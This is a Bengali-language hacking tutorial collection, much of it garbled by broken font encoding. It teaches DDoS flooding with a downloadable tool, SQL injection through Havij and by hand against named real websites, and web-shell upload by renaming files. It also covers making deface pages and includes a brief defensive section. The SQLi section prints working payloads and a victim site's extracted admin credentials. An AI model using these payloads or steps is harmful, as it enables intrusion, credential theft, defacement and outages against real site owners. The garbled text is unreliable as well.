এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

